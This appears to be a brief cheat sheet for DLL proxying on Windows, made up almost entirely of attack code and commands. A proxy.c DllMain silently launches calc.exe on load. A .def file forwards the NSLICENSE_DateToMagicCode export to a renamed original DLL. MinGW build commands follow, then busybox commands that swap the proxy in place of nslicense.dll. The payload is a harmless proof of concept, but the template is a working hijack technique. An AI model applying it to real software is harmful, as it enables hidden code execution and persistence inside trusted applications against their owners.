Updated on 2020-09-07
File
proxy.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
switch (reason) {
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
proxy.def
EXPORTS
NSLICENSE_DateToMagicCode = nslicense_old.NSLICENSE_DateToMagicCode
Command
i686-w64-mingw32-gcc proxy.c -c -o proxy.o
dlltool proxy.o -e proxy.exp -z proxy.def -l proxy.lib --export-all-symbols
i686-w64-mingw32-gcc proxy.o proxy.def -shared -o proxy.dll
i686-w64-mingw32-gcc proxy.c -c -o proxy.o
gnatdll proxy.o -e proxy.def -d proxy.dll
i686-w64-mingw32-gcc proxy.c proxy.def -shared -o proxy.dll
gendef - nslicense.dll
strip -sv proxy.dll
busybox mv -f nslicense.dll nslicense_old.dll
busybox mv -f proxy.dll nslicense.dll